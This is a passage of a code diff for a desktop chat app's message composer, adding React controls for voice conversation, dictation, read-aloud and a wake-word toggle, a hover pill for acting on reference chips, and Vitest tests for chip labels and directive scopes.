+import type { ConversationStatus } from './hooks/use-voice-conversation'
+import { ModelPill } from './model-pill'
+import type { ChatBarState, VoiceStatus } from './types'
+
+export const ICON_BTN = 'size-(--composer-control-size) shrink-0 rounded-md'
+export const GHOST_ICON_BTN = cn(
+  ICON_BTN,
+  'text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground'
+)
+// Send/voice-conversation primary: solid foreground-on-background circle
+// (reads as black-on-white in light mode, white-on-black in dark mode) to
+// match the reference composer's high-contrast CTA. Keeps the pill itself
+// neutral and lets the action visually dominate the row.
+export const PRIMARY_ICON_BTN = cn(
+  'size-(--composer-control-primary-size,var(--composer-control-size)) shrink-0 rounded-full p-0',
+  'bg-foreground text-background hover:bg-foreground/90',
+  'disabled:bg-foreground/30 disabled:text-background disabled:opacity-100'
+)
+
+interface ConversationProps {
+  active: boolean
+  level: number
+  muted: boolean
+  status: ConversationStatus
+  onEnd: () => void
+  onStart: () => void
+  onStopTurn: () => void
+  onToggleMute: () => void
+}
+
+export function ComposerControls({
+  autoSpeak,
+  busy,
+  busyAction,
+  canSubmit,
+  compactModelPill = false,
+  conversation,
+  disabled,
+  hasComposerPayload,
+  state,
+  voiceStatus,
+  onDictate,
+  onQueue,
+  onToggleAutoSpeak
+}: {
+  autoSpeak: boolean
+  busy: boolean
+  busyAction: 'steer' | 'queue' | 'stop'
+  canSubmit: boolean
+  compactModelPill?: boolean
+  conversation: ConversationProps
+  disabled: boolean
+  hasComposerPayload: boolean
+  state: ChatBarState
+  voiceStatus: VoiceStatus
+  onDictate: () => void
+  onQueue: () => void
+  onToggleAutoSpeak: () => void
+}) {
+  const { t } = useI18n()
+  const c = t.composer
+
+  if (conversation.active) {
+    return <ConversationPill {...conversation} disabled={disabled} />
+  }
+
+  const showVoicePrimary = !busy && !hasComposerPayload
+  const busyLabel = busyAction === 'queue' ? c.queueMessage : busyAction === 'steer' ? c.steer : c.stop
+
+  return (
+    <div className="ml-auto flex shrink-0 items-center gap-(--composer-control-gap)">
+      <ModelPill compact={compactModelPill} disabled={disabled} model={state.model} />
+      <DictationButton disabled={disabled} onToggle={onDictate} state={state.voice} status={voiceStatus} />
+      <AutoSpeakButton active={autoSpeak} disabled={disabled} onToggle={onToggleAutoSpeak} />
+      <WakeWordButton disabled={disabled} />
+      {busyAction === 'steer' ? (
+        <Tip label={<TipKeybindLabel actionId="composer.queue" text={c.queueMessage} />}>
+          <Button
+            aria-label={c.queueMessage}
+            className={GHOST_ICON_BTN}
+            disabled={disabled}
+            onClick={onQueue}
+            size="icon"
+            type="button"
+            variant="ghost"
+          >
+            <Layers3 className={iconSize.sm} />
+          </Button>
+        </Tip>
+      ) : null}
+      {showVoicePrimary ? (
+        <Tip label={c.startVoice}>
+          <Button
+            aria-label={c.startVoice}
+            className={PRIMARY_ICON_BTN}
+            disabled={disabled}
+            onClick={() => {
+              triggerHaptic('open')
+              conversation.onStart()
+            }}
+            size="icon"
+            type="button"
+          >
+            <AudioLines className={iconSize.sm} />
+          </Button>
+        </Tip>
+      ) : (
+        <Tip
+          label={
+            busy ? (
+              <TipKeybindLabel
+                actionId={
+                  busyAction === 'steer'
+                    ? 'composer.steer'
+                    : busyAction === 'queue'
+                      ? 'composer.queue'
+                      : 'composer.send'
+                }
+                text={busyLabel}
+              />
+            ) : (
+              <TipKeybindLabel actionId="composer.send" text={c.send} />
+            )
+          }
+        >
+          <Button
+            aria-label={busy ? busyLabel : c.send}
+            className={PRIMARY_ICON_BTN}
+            disabled={disabled || !canSubmit}
+            type="submit"
+          >
+            {busy ? (
+              busyAction === 'queue' ? (
+                <Layers3 className={iconSize.sm} />
+              ) : busyAction === 'steer' ? (
+                <SteeringWheel className={iconSize.sm} />
+              ) : (
+                <span className="block size-2.5 rounded-[0.1875rem] bg-current" />
+              )
+            ) : (
+              <Codicon name="arrow-up" size="0.875rem" />
+            )}
+          </Button>
+        </Tip>
+      )}
+    </div>
+  )
+}
+
+function ConversationPill({
+  disabled,
+  level,
+  muted,
+  onEnd,
+  onStopTurn,
+  onToggleMute,
+  status
+}: ConversationProps & { disabled: boolean }) {
+  const { t } = useI18n()
+  const c = t.composer
+  const speaking = status === 'speaking'
+  const listening = status === 'listening' && !muted
+
+  const label =
+    status === 'speaking'
+      ? c.speaking
+      : status === 'transcribing'
+        ? c.transcribing
+        : status === 'thinking'
+          ? c.thinking
+          : muted
+            ? c.muted
+            : c.listening
+
+  return (
+    <div className="ml-auto flex shrink-0 items-center gap-(--composer-control-gap)">
+      {/* Keep the ear visible during voice chat — shown paused, since the
+          conversation holds the mic (the one time wake must not listen). */}
+      <WakeWordButton disabled={disabled} pausedForVoice />
+      <Tip label={muted ? c.unmuteMic : c.muteMic}>
+        <Button
+          aria-label={muted ? c.unmuteMic : c.muteMic}
+          aria-pressed={muted}
+          className={cn(GHOST_ICON_BTN, 'p-0', muted && 'bg-muted text-muted-foreground')}
+          disabled={disabled}
+          onClick={() => {
+            triggerHaptic('selection')
+            onToggleMute()
+          }}
+          size="icon"
+          type="button"
+          variant="ghost"
+        >
+          <Codicon name={muted ? 'mic-off' : 'mic'} size="1rem" />
+        </Button>
+      </Tip>
+      {listening && (
+        <Button
+          aria-label={c.stopListening}
+          className="h-(--composer-control-size) shrink-0 gap-1.5 rounded-full px-2.5 text-xs text-muted-foreground hover:bg-accent hover:text-foreground"
+          disabled={disabled}
+          onClick={() => {
+            triggerHaptic('submit')
+            onStopTurn()
+          }}
+          type="button"
+          variant="ghost"
+        >
+          <Square className={cn('fill-current', iconSize.xs)} />
+          <span>{c.stopShort}</span>
+        </Button>
+      )}
+      <Button
+        aria-label={c.endConversation}
+        className="h-(--composer-control-size) gap-1.5 rounded-full bg-primary px-3 text-xs font-medium text-primary-foreground hover:bg-primary/90"
+        disabled={disabled}
+        onClick={() => {
+          triggerHaptic('close')
+          onEnd()
+        }}
+        type="button"
+      >
+        <ConversationIndicator level={level} listening={listening} speaking={speaking} />
+        <span>{c.endShort}</span>
+      </Button>
+      <span className="sr-only" role="status">
+        {label}
+      </span>
+    </div>
+  )
+}
+
+function ConversationIndicator({
+  level,
+  listening,
+  speaking
+}: {
+  level: number
+  listening: boolean
+  speaking: boolean
+}) {
+  if (speaking) {
+    return <Loader2 className={cn('animate-spin', iconSize.xs)} />
+  }
+
+  const bars = [0.55, 0.85, 1, 0.85, 0.55]
+  const normalized = Math.max(0, Math.min(level, 1))
+
+  return (
+    <span aria-hidden="true" className="flex h-3 items-center gap-0.5">
+      {bars.map((weight, index) => {
+        const height = listening ? 0.3 + Math.min(0.7, normalized * weight) : 0.3
+
+        return <span className="w-0.5 rounded-full bg-current" key={index} style={{ height: `${height * 100}%` }} />
+      })}
+    </span>
+  )
+}
+
+// Pure-TTS toggle: type normally, but have every assistant reply read aloud —
+// no dictation, no full conversation loop. Filled/accent when on, mirroring the
+// muted-mic pressed state above. Driven by (and persisted to) `voice.auto_tts`.
+function AutoSpeakButton({ active, disabled, onToggle }: { active: boolean; disabled: boolean; onToggle: () => void }) {
+  const { t } = useI18n()
+  const c = t.composer
+  const label = active ? c.stopSpeakingReplies : c.speakReplies
+
+  return (
+    <Tip label={label}>
+      <Button
+        aria-label={label}
+        aria-pressed={active}
+        className={cn(
+          GHOST_ICON_BTN,
+          'p-0',
+          active && 'bg-primary/10 text-primary hover:bg-primary/15 hover:text-primary'
+        )}
+        disabled={disabled}
+        onClick={() => {
+          triggerHaptic(active ? 'close' : 'open')
+          onToggle()
+        }}
+        size="icon"
+        type="button"
+        variant="ghost"
+      >
+        {active ? <Volume2 className={iconSize.sm} /> : <VolumeX className={iconSize.sm} />}
+      </Button>
+    </Tip>
+  )
+}
+
+// "Hey ClawCodex" wake-word toggle. ALWAYS rendered — the ear never hides. A
+// user must always be able to click it to turn passive listening on; if the
+// backend can't start (missing STT/TTS, deps still installing, no mic
+// permission, etc.) the click surfaces the reason in the tooltip and the
+// toggle stays off. States: listening (accent-highlighted), off (muted
+// ear-off), and paused-for-voice (disabled while a voice conversation holds
+// the mic — the one time wake genuinely must not listen). Backend refusals
+// ({started:false, reason}) keep the toggle off and put the reason/hint in
+// the tooltip.
+function WakeWordButton({ disabled, pausedForVoice = false }: { disabled: boolean; pausedForVoice?: boolean }) {
+  const { t } = useI18n()
+  const c = t.composer
+  const wake = useStore($wakeWord)
+
+  const phrase = wake.phrase || 'hey clawcodex'
+
+  const label = pausedForVoice
+    ? c.wakeWordPausedVoice(phrase)
+    : wake.listening
+      ? c.wakeWordListening(phrase)
+      : c.wakeWordOff(phrase)
+
+  const tooltip = !pausedForVoice && wake.notice ? `${label} — ${wake.notice}` : label
+
+  return (
+    <Tip label={tooltip}>
+      <Button
+        aria-label={label}
+        aria-pressed={wake.listening && !pausedForVoice}
+        className={cn(
+          GHOST_ICON_BTN,
+          'p-0',
+          wake.listening && !pausedForVoice && 'bg-primary/10 text-primary hover:bg-primary/15 hover:text-primary'
+        )}
+        disabled={disabled || pausedForVoice || wake.pending}
+        onClick={() => {
+          triggerHaptic(wake.listening ? 'close' : 'open')
+          void toggleWakeWord()
+        }}
+        size="icon"
+        type="button"
+        variant="ghost"
+      >
+        {wake.listening && !pausedForVoice ? <Ear className={iconSize.sm} /> : <EarOff className={iconSize.sm} />}
+      </Button>
+    </Tip>
+  )
+}
+
+function DictationButton({
+  disabled,
+  state,
+  status,
+  onToggle
+}: {
+  disabled: boolean
+  state: ChatBarState['voice']
+  status: VoiceStatus
+  onToggle: () => void
+}) {
+  const { t } = useI18n()
+  const c = t.composer
+  const active = state.active || status !== 'idle'
+
+  const aria =
+    status === 'recording' ? c.stopDictation : status === 'transcribing' ? c.transcribingDictation : c.voiceDictation
+
+  return (
+    <Tip label={aria}>
+      <Button
+        aria-label={aria}
+        aria-pressed={active}
+        className={cn(
+          GHOST_ICON_BTN,
+          'p-0',
+          'data-[active=true]:bg-accent data-[active=true]:text-foreground',
+          status === 'recording' && 'bg-primary/10 text-primary hover:bg-primary/15 hover:text-primary',
+          status === 'transcribing' && 'bg-primary/10 text-primary'
+        )}
+        data-active={active}
+        disabled={disabled || !state.enabled || status === 'transcribing'}
+        onClick={() => {
+          triggerHaptic(active ? 'close' : 'open')
+          onToggle()
+        }}
+        size="icon"
+        type="button"
+        variant="ghost"
+      >
+        {status === 'recording' ? (
+          <Square className={cn('fill-current', iconSize.xs)} />
+        ) : status === 'transcribing' ? (
+          <Loader2 className={cn('animate-spin', iconSize.sm)} />
+        ) : (
+          <Codicon name="mic" size="0.875rem" />
+        )}
+      </Button>
+    </Tip>
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/directive-actions.test.tsx b/ui-desktop/src/app/chat/composer/directive-actions.test.tsx
new file mode 100644
index 000000000..00c31ff2f
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/directive-actions.test.tsx
@@ -0,0 +1,150 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { I18nProvider } from '@/i18n'
+
+import { ComposerDirectiveActions } from './directive-actions'
+import { refChipElement } from './rich-editor'
+
+const desktopWindow = window as unknown as { clawcodexDesktop?: Window['clawcodexDesktop'] }
+
+const openSession = vi.fn()
+
+vi.mock('@/app/open-session', () => ({ openSession: (...args: unknown[]) => openSession(...args) }))
+
+/** A live contenteditable holding real chips, with the watcher bound to it —
+ *  the same pair both composers mount. */
+function mountEditor(chips: { kind: string; value: string }[]) {
+  const editor = document.createElement('div')
+
+  editor.contentEditable = 'true'
+  editor.append(...chips.map(chip => refChipElement(chip.kind, `\`${chip.value}\``)))
+  document.body.append(editor)
+
+  render(
+    <I18nProvider configClient={null} initialLocale="en">
+      <ComposerDirectiveActions editorRef={{ current: editor }} />
+    </I18nProvider>
+  )
+
+  return editor
+}
+
+function chips(editor: HTMLElement, kind: string) {
+  return Array.from(editor.querySelectorAll(`[data-ref-kind="${kind}"]`))
+}
+
+function hover(node: Element) {
+  fireEvent.pointerOver(node, { bubbles: true })
+}
+
+/** The reference the visible action pill points at, or null when there is none. */
+function pillValue() {
+  return document.querySelector('[data-slot="composer-directive-action"]')?.getAttribute('data-value') ?? null
+}
+
+afterEach(() => {
+  cleanup()
+  document.body.replaceChildren()
+  delete desktopWindow.clawcodexDesktop
+  openSession.mockReset()
+  vi.useRealTimers()
+})
+
+describe('ComposerDirectiveActions', () => {
+  it('offers an action for a hovered actionable chip', () => {
+    const editor = mountEditor([{ kind: 'url', value: 'https://example.com/docs' }])
+
+    expect(pillValue()).toBeNull()
+
+    hover(chips(editor, 'url')[0]!)
+
+    expect(pillValue()).toBe('https://example.com/docs')
+  })
+
+  it('opens a url externally rather than navigating the app', () => {
+    const openExternal = vi.fn().mockResolvedValue(undefined)
+
+    desktopWindow.clawcodexDesktop = { openExternal } as unknown as Window['clawcodexDesktop']
+
+    const editor = mountEditor([{ kind: 'url', value: 'https://example.com/docs' }])
+
+    hover(chips(editor, 'url')[0]!)
+    fireEvent.click(screen.getByRole('button'))
+
+    expect(openExternal).toHaveBeenCalledWith('https://example.com/docs')
+    expect(pillValue()).toBeNull()
+  })
+
+  it('runs the kind-specific action — a session chip opens the session', async () => {
+    const editor = mountEditor([{ kind: 'session', value: 'default/20260722_204335_d62c16' }])
+
+    hover(chips(editor, 'session')[0]!)
+    fireEvent.click(screen.getByRole('button'))
+    // openSessionRef lazy-imports the navigator, so the call lands a tick later.
+    await vi.waitFor(() =>
+      expect(openSession).toHaveBeenCalledWith('20260722_204335_d62c16', expect.any(Function), 'tab')
+    )
+  })
+
+  it('leaves kinds with no action alone', () => {
+    const editor = mountEditor([{ kind: 'file', value: 'src/main.tsx' }])
+
+    hover(chips(editor, 'file')[0]!)
+
+    expect(pillValue()).toBeNull()
+  })
+
+  it('follows the pointer from one chip to the next', () => {
+    const editor = mountEditor([
+      { kind: 'url', value: 'https://one.example' },
+      { kind: 'url', value: 'https://two.example' }
+    ])
+
+    const [first, second] = chips(editor, 'url')
+
+    hover(first!)
+
+    expect(pillValue()).toBe('https://one.example')
+
+    hover(second!)
+
+    expect(pillValue()).toBe('https://two.example')
+  })
+
+  it('keeps the pill up while the pointer crosses onto it', () => {
+    vi.useFakeTimers()
+
+    const editor = mountEditor([{ kind: 'url', value: 'https://example.com' }])
+    const chip = chips(editor, 'url')[0]!
+
+    hover(chip)
+    fireEvent.pointerOut(chip, { relatedTarget: document.body })
+    fireEvent.mouseEnter(screen.getByRole('button').parentElement!)
+    vi.advanceTimersByTime(500)
+
+    expect(pillValue()).toBe('https://example.com')
+  })
+
+  it('binds to the document so a late-attached editor still gets the affordance', () => {
+    // The edit composer's editor isn't reliably in the DOM when the effect
+    // first runs; a document listener that reads the editor lazily works
+    // regardless — this is the whole reason it binds to document, not editor.
+    const editor = document.createElement('div')
+
+    editor.contentEditable = 'true'
+    editor.append(refChipElement('url', '`https://late.example`'))
+
+    render(
+      <I18nProvider configClient={null} initialLocale="en">
+        <ComposerDirectiveActions editorRef={{ current: editor }} />
+      </I18nProvider>
+    )
+
+    // Editor attached AFTER mount.
+    document.body.append(editor)
+    hover(editor.querySelector('[data-ref-kind="url"]')!)
+
+    expect(pillValue()).toBe('https://late.example')
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/directive-actions.tsx b/ui-desktop/src/app/chat/composer/directive-actions.tsx
new file mode 100644
index 000000000..b18ade2aa
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/directive-actions.tsx
@@ -0,0 +1,154 @@
+/**
+ * Hover actions for directive chips in a composer.
+ *
+ * A directive chip (`@url:`, `@session:`, …) reads as the thing it points at
+ * and is coloured like one, but a composer is an editor — a click inside the
+ * contenteditable only places the caret, so there's no way to *act* on the
+ * reference. Instead, hovering a chip whose kind has an action floats a small
+ * pill above it that runs it.
+ *
+ * The kind → action table (`DIRECTIVE_ACTIONS`) lives in `directive-text`, so
+ * it is shared with the sent-message chip: one entry lights up both surfaces.
+ */
+import { type RefObject, useCallback, useEffect, useRef, useState } from 'react'
+import { createPortal } from 'react-dom'
+
+import { DIRECTIVE_ACTIONS, type DirectiveAction } from '@/components/assistant-ui/directive-text'
+import { composerFloatingPill } from '@/components/chat/composer-dock'
+import { Codicon } from '@/components/ui/codicon'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+/** Moving between the chip and the pill crosses a gap where neither is hovered.
+ *  Short enough that it still reads as instant on the way out. */
+const HIDE_DELAY_MS = 120
+
+/** The actionable directive chip under `target` that also belongs to `editor`,
+ *  if there is one. */
+function actionableChipAt(target: EventTarget | null, editor: HTMLElement): HTMLElement | null {
+  const chip = target instanceof Element ? target.closest<HTMLElement>('[data-ref-kind]') : null
+  const kind = chip?.dataset.refKind
+
+  return chip && kind && chip.dataset.refId && editor.contains(chip) && DIRECTIVE_ACTIONS[kind] ? chip : null
+}
+
+interface Anchor {
+  action: DirectiveAction
+  chip: HTMLElement
+  left: number
+  top: number
+  value: string
+}
+
+function anchorFor(chip: HTMLElement): Anchor | null {
+  const value = chip.dataset.refId
+  const action = chip.dataset.refKind ? DIRECTIVE_ACTIONS[chip.dataset.refKind] : undefined
+
+  if (!value || !action || !chip.isConnected) {
+    return null
+  }
+
+  const rect = chip.getBoundingClientRect()
+
+  return { action, chip, left: rect.left, top: rect.top, value }
+}
+
+/**
+ * Renders the action pill for whichever actionable chip in `editorRef` is
+ * hovered.
+ *
+ * Listeners bind to `document`, not the editor, so mount timing can't strand
+ * them: the edit composer's contenteditable isn't reliably attached when this
+ * effect first runs, and a document listener that reads the editor lazily works
+ * regardless. Each instance filters to its own editor, so the docked and edit
+ * composers never show two pills for one chip.
+ */
+export function ComposerDirectiveActions({ editorRef }: { editorRef: RefObject<HTMLElement | null> }) {
+  const { t } = useI18n()
+  const [anchor, setAnchor] = useState<Anchor | null>(null)
+  const hideTimerRef = useRef<number | undefined>(undefined)
+
+  const cancelHide = useCallback(() => {
+    window.clearTimeout(hideTimerRef.current)
+  }, [])
+
+  const hideSoon = useCallback(() => {
+    cancelHide()
+    hideTimerRef.current = window.setTimeout(() => setAnchor(null), HIDE_DELAY_MS)
+  }, [cancelHide])
+
+  useEffect(() => {
+    const onPointerOver = (event: PointerEvent) => {
+      const editor = editorRef.current
+      const chip = editor && actionableChipAt(event.target, editor)
+
+      if (!chip) {
+        return
+      }
+
+      cancelHide()
+      setAnchor(current => (current?.chip === chip ? current : anchorFor(chip)))
+    }
+
+    const onPointerOut = (event: PointerEvent) => {
+      const editor = editorRef.current
+      const chip = editor && actionableChipAt(event.target, editor)
+
+      // A move within the same chip (its icon → its label) is not a leave.
+      if (chip && editor && chip === actionableChipAt(event.relatedTarget, editor)) {
+        return
+      }
+
+      hideSoon()
+    }
+
+    // The chip can move or vanish under a parked pointer: the editor scrolls,
+    // the window resizes, or the user deletes the reference the pill points at.
+    const reanchor = () => setAnchor(current => (current ? anchorFor(current.chip) : null))
+
+    document.addEventListener('pointerover', onPointerOver)
+    document.addEventListener('pointerout', onPointerOut)
+    window.addEventListener('scroll', reanchor, true)
+    window.addEventListener('resize', reanchor)
+
+    return () => {
+      document.removeEventListener('pointerover', onPointerOver)
+      document.removeEventListener('pointerout', onPointerOut)
+      window.removeEventListener('scroll', reanchor, true)
+      window.removeEventListener('resize', reanchor)
+      window.clearTimeout(hideTimerRef.current)
+    }
+  }, [cancelHide, editorRef, hideSoon])
+
+  if (!anchor) {
+    return null
+  }
+
+  return createPortal(
+    <div
+      className="fixed z-(--z-over-modal) -translate-y-full pb-1"
+      data-slot="composer-directive-action"
+      data-value={anchor.value}
+      onMouseEnter={cancelHide}
+      onMouseLeave={hideSoon}
+      style={{ left: anchor.left, top: anchor.top }}
+    >
+      <button
+        className={cn(composerFloatingPill, 'shadow-nous')}
+        onClick={() => {
+          anchor.action.run(anchor.value)
+          setAnchor(null)
+        }}
+        // Never let the press reach the editor: mousedown inside a
+        // contenteditable moves the caret and can collapse a selection the user
+        // still wants, and the edit composer treats a blur as "cancel".
+        onMouseDown={event => event.preventDefault()}
+        type="button"
+      >
+        <Codicon className="shrink-0 opacity-70" name={anchor.action.icon} size="0.75rem" />
+        {anchor.action.label(t)}
+      </button>
+    </div>,
+    document.body
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/directive-label.test.ts b/ui-desktop/src/app/chat/composer/directive-label.test.ts
new file mode 100644
index 000000000..163136477
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/directive-label.test.ts
@@ -0,0 +1,131 @@
+import type { Unstable_TriggerItem } from '@assistant-ui/core'
+import { act, renderHook } from '@testing-library/react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { clawcodexDirectiveFormatter } from '@/components/assistant-ui/directive-text'
+
+import { classify } from './hooks/use-at-completions'
+import { useComposerTrigger } from './hooks/use-composer-trigger'
+import { composerPlainText, RICH_INPUT_SLOT } from './rich-editor'
+
+/** A row exactly as tui_gateway's complete.path emits it, run through the
+ *  real classify() the popover uses. */
+function backendRow(text: string, display: string, meta: string): Unstable_TriggerItem {
+  const c = classify({ text, display, meta })
+
+  return {
+    id: `${text}|0`,
+    type: c.type,
+    label: c.display,
+    metadata: { icon: c.type, display: c.display, meta: c.meta, rawText: text, insertId: c.insertId }
+  }
+}
+
+function typed(text: string) {
+  const editor = document.createElement('div')
+
+  editor.contentEditable = 'true'
+  editor.dataset.slot = RICH_INPUT_SLOT
+  document.body.append(editor)
+  editor.append(document.createTextNode(text))
+
+  const range = document.createRange()
+
+  range.selectNodeContents(editor)
+  range.collapse(false)
+
+  const sel = window.getSelection()
+
+  sel?.removeAllRanges()
+  sel?.addRange(range)
+
+  const editorRef = { current: editor as HTMLDivElement | null }
+
+  const { result } = renderHook(() =>
+    useComposerTrigger({
+      at: { adapter: null, loading: false },
+      draftRef: { current: text },
+      editorRef,
+      requestMainFocus: vi.fn(),
+      setComposerText: vi.fn(),
+      slash: { adapter: null, loading: false }
+    })
+  )
+
+  act(() => result.current.refreshTrigger())
+
+  return { editor, result }
+}
+
+/** The label the sent message renders for a committed draft. */
+function sentLabel(draft: string) {
+  return clawcodexDirectiveFormatter
+    .parse(draft)
+    .filter((s): s is Extract<typeof s, { kind: 'mention' }> => s.kind === 'mention')
+    .map(s => s.label)
+    .join(',')
+}
+
+describe('one label per reference, on every surface', () => {
+  it('the popover row, the committed chip, and the sent chip all read the same', () => {
+    const cases = [
+      { text: '@folder:apps/desktop/', display: 'desktop/', meta: 'dir' },
+      { text: '@file:apps/desktop/src/main.tsx', display: 'main.tsx', meta: 'apps/desktop/src' },
+      { text: '@folder:apps/desktop/src/', display: 'src/', meta: 'dir' }
+    ]
+
+    for (const entry of cases) {
+      const item = backendRow(entry.text, entry.display, entry.meta)
+      const { editor, result } = typed('@desk')
+
+      act(() => result.current.replaceTriggerWithChip(item))
+
+      const row = String((item.metadata as { display: string }).display)
+      const chip = editor.querySelector('[data-ref-text]')?.textContent ?? ''
+
+      expect(chip).toBe(row)
+      expect(sentLabel(composerPlainText(editor))).toBe(row)
+    }
+  })
+
+  it('a folder pick reads as its path, not a bare basename', () => {
+    // `src` and `desktop` repeat all over a repo — the row you picked said
+    // where it was, and the chip has to keep saying it.
+    const item = backendRow('@folder:apps/desktop/', 'desktop/', 'dir')
+
+    expect(item.label).toBe('apps/desktop/')
+
+    const { editor, result } = typed('@desk')
+
+    act(() => result.current.replaceTriggerWithChip(item))
+
+    expect(editor.querySelector('[data-ref-text]')?.textContent).toBe('apps/desktop/')
+  })
+
+  it('Tab-descend leaves the live query, and the scope when there is one', () => {
+    const { editor, result } = typed('@folder:desk')
+
+    act(() =>
+      result.current.replaceTriggerWithChip(backendRow('@folder:apps/desktop/', 'desktop/', 'dir'), {
+        descend: true
+      })
+    )
+
+    // Mid-browse the editor holds the live query, scope included — that's the
+    // path being typed, not a label, and it's what the next completion reads.
+    expect(composerPlainText(editor)).toBe('@folder:apps/desktop/')
+  })
+
+  it('a url still reads host + path on every surface', () => {
+    const item = backendRow('@url:https://github.com/agentforce314/clawcodex/pull/74533', '', '')
+    const { editor, result } = typed('@gith')
+
+    act(() => result.current.replaceTriggerWithChip(item))
+
+    const expected = 'github.com/agentforce314/clawcodex/pull/74533'
+
+    expect(item.label).toBe(expected)
+    expect(editor.querySelector('[data-ref-text]')?.textContent).toBe(expected)
+    expect(sentLabel(composerPlainText(editor))).toBe(expected)
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/directive-scope.test.ts b/ui-desktop/src/app/chat/composer/directive-scope.test.ts
new file mode 100644
index 000000000..a12ffc701
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/directive-scope.test.ts
@@ -0,0 +1,164 @@
+import type { Unstable_TriggerItem } from '@assistant-ui/core'
+import { act, renderHook } from '@testing-library/react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { useComposerTrigger } from './hooks/use-composer-trigger'
+import { pathifyRefs } from './path-refs'
+import { composerPlainText, insertComposerContentsAtCaret, RICH_INPUT_SLOT } from './rich-editor'
+import { detectTrigger, openDirectiveScope, textBeforeCaret } from './text-utils'
+import { linkifyUrls } from './url-refs'
+
+function folderItem(rel: string): Unstable_TriggerItem {
+  const rawText = `@folder:${rel}/`
+
+  return {
+    id: `${rawText}|0`,
+    type: 'folder',
+    label: rel.split('/').filter(Boolean).pop() ?? rel,
+    metadata: { icon: 'folder', display: `${rel}/`, meta: 'dir', rawText, insertId: `${rel}/` }
+  }
+}
+
+/** Literally-typed text, caret `fromEnd` characters before the end. */
+function typed(text: string, fromEnd = 0) {
+  const editor = document.createElement('div')
+
+  editor.contentEditable = 'true'
+  editor.dataset.slot = RICH_INPUT_SLOT
+  document.body.append(editor)
+
+  const node = document.createTextNode(text)
+
+  editor.append(node)
+
+  const range = document.createRange()
+
+  range.setStart(node, text.length - fromEnd)
+  range.collapse(true)
+
+  const sel = window.getSelection()
+
+  sel?.removeAllRanges()
+  sel?.addRange(range)
+
+  return editor
+}
+
+function withTrigger(editor: HTMLDivElement, draft: string) {
+  const editorRef = { current: editor as HTMLDivElement | null }
+
+  const { result } = renderHook(() =>
+    useComposerTrigger({
+      at: { adapter: null, loading: false },
+      draftRef: { current: draft },
+      editorRef,
+      requestMainFocus: vi.fn(),
+      setComposerText: vi.fn(),
+      slash: { adapter: null, loading: false }
+    })
+  )
+
+  act(() => result.current.refreshTrigger())
+
+  return result
+}
+
+/** The composer's paste handler, minus the clipboard plumbing. */
+function paste(editor: HTMLDivElement, text: string) {
+  insertComposerContentsAtCaret(editor, pathifyRefs(linkifyUrls(text)), openDirectiveScope(editor))
+}
+
+describe('directive scope is a browse mode, not text to maintain', () => {
+  it('Tab-descend carries the scope down instead of dropping to a bare path', () => {
+    const editor = typed('@folder:apps/deskt')
+    const result = withTrigger(editor, '@folder:apps/deskt')
+
+    expect(result.current.trigger).toMatchObject({ kind: '@', scope: 'folder', value: 'apps/deskt' })
+
+    act(() => result.current.replaceTriggerWithChip(folderItem('apps/desktop'), { descend: true }))
+
+    expect(composerPlainText(editor)).toBe('@folder:apps/desktop/')
+  })
+
+  it('Backspace climbs the path, then drops the whole scope', () => {
+    const editor = typed('@folder:apps/desktop/')
+    const result = withTrigger(editor, '@folder:apps/desktop/')
+
+    act(() => result.current.ascendTriggerPath())
+    expect(composerPlainText(editor)).toBe('@folder:apps/')
+
+    act(() => result.current.refreshTrigger())
+    act(() => result.current.ascendTriggerPath())
+    expect(composerPlainText(editor)).toBe('@folder:')
+
+    // The scope is one unit: Backspace drops it whole rather than nibbling
+    // back through `:`, `r`, `e`, `d`, `l`, `o`, `f`.
+    act(() => result.current.refreshTrigger())
+    act(() => result.current.ascendTriggerPath())
+    expect(composerPlainText(editor)).toBe('@')
+  })
+
+  it('leaves Backspace alone when there is no scope and no path', () => {
+    const editor = typed('@apps')
+    const result = withTrigger(editor, '@apps')
+
+    let handled = true
+
+    act(() => {
+      handled = result.current.ascendTriggerPath()
+    })
+
+    expect(handled).toBe(false)
+  })
+
+  it('a pick mid-message keeps the trailing prose and consumes the whole token', () => {
+    const editor = typed('@folder:apps/deskt and some trailing words', 24)
+    const result = withTrigger(editor, '@folder:apps/deskt and some trailing words')
+
+    act(() => result.current.replaceTriggerWithChip(folderItem('apps/desktop')))
+
+    expect(composerPlainText(editor)).toBe('@folder:`apps/desktop/` and some trailing words')
+    expect(editor.querySelector('[data-ref-kind="folder"]')).not.toBeNull()
+  })
+
+  it('pasting into an open @url: scope consumes it instead of stacking', () => {
+    const editor = typed('refer to @url:')
+
+    paste(editor, 'https://github.com/agentforce314/clawcodex/pull/74533')
+
+    expect(composerPlainText(editor)).toBe('refer to @url:`https://github.com/agentforce314/clawcodex/pull/74533`')
+    expect(editor.textContent).not.toContain('@url:@url:')
+  })
+
+  it('a normal paste with no open scope is untouched', () => {
+    const editor = typed('look at ')
+
+    paste(editor, 'https://example.com/x')
+
+    expect(composerPlainText(editor)).toBe('look at @url:`https://example.com/x`')
+  })
+
+  it('scope parsing leaves an unscoped @ query alone', () => {
+    expect(detectTrigger('@apps/desk')).toMatchObject({ kind: '@', value: 'apps/desk' })
+    expect(detectTrigger('@apps/desk')?.scope).toBeUndefined()
+  })
+
+  it('openDirectiveScope only fires on an EMPTY scope', () => {
+    // The count is what a paste consumes: `@url:` is 5 characters of syntax
+    // the user never typed and shouldn't be left holding.
+    expect(openDirectiveScope(typed('@url:'))).toBe(5)
+    expect(openDirectiveScope(typed('@url:https://x.com'))).toBe(0)
+    expect(openDirectiveScope(typed('plain text'))).toBe(0)
+  })
+
+  it('chips stay atomic to scope detection', () => {
+    const editor = typed('@folder:apps/desktop/')
+    const result = withTrigger(editor, '@folder:apps/desktop/')
+
+    act(() => result.current.replaceTriggerWithChip(folderItem('apps/desktop')))
+
